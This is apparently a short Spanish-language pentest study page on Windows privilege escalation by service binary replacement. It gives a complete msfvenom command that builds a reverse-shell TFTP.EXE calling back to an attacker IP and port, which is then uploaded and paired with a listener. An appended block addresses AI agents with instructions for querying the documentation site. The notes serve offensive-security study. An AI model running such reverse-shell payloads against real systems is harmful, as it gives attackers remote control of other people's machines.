# Service Binary Replacement

En este caso tenemos un script TFTP.EXE que se ejecuta cada x tiempo.

<figure><img src="/files/8MAVDazXqgrLYn7Y4o2I" alt=""><figcaption></figcaption></figure>

Lo más fácil de hacer es crear una reverse shell con msfvenom y llamarla exactamente igual.

```
msfvenom -p windows/x64/shell_reverse_tcp  LHOST=192.168.45.164 LPORT=1234  -f exe > TFTP.EXE
```

Lo subimos a través de un servidor en Python. Vemos que el tamaño cambia significativamente por lo que es buena señal.

<figure><img src="/files/HNI2K33GTyenQ4qw9zBt" alt=""><figcaption></figcaption></figure>

Ahora nos ponemos en escucha por el puerto elegido y solo habría que esperar.

<figure><img src="/files/alM4MPVS8d2VNJorrmWC" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://alv-fh.gitbook.io/alv-fh/windows-privilege-escalation/service-binary-replacement.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
